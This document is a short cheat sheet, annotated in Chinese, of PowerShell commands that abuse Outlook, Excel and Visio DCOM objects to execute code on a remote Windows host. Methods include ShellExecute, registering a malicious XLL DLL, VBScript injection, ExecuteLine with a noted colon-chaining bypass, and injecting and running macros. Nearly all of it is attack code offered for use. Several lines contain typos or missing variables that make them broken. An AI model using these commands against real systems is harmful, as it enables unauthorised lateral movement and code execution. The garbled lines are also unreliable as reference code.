$a=[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10"))
$a=[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .createObject("Shell.Application") $a.shellExecute(calc.exe)
$a=?[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.APPLICATION","10.10.10.10")) .RegisterXLL("我们的恶意DLL路径")
$a=[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .CreateObject("b") $b.language="VBScript" $b.AddCode('CreateObject("Wcript.Shell").Exec("Calc.exe")')
$a=[activator]::CreateInstance([type]::GetTypeFromProgID("a.invisibleapp","10.10.10.10")) $b=$a.documents.Add("") $b.Executeline('CreateObject("wscript.Shell").exec("calc.exe")')
VBE7.dll和ScrRun.dll已加载到Visio进程中
注意-ExecuteLine方法仅允许执行一行代码。通过使用冒号(:)符号将语句分隔在一行上,可以绕过此操作。
$a='Sub Execute()' CreateObject("Wscript.Shell").Exec("calc.exe") End Sub Sub AutoOpen() Excute end Sub'
$b=[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.application")) $c=$b.Workbooks.Add("") $c.VBProject.VBComponents(1).codeModule.ADDFromString($a) //注意:这里加载我们上面的宏代码 $b.run("Book1!ThisWorkbook.Execute") $b.Quit()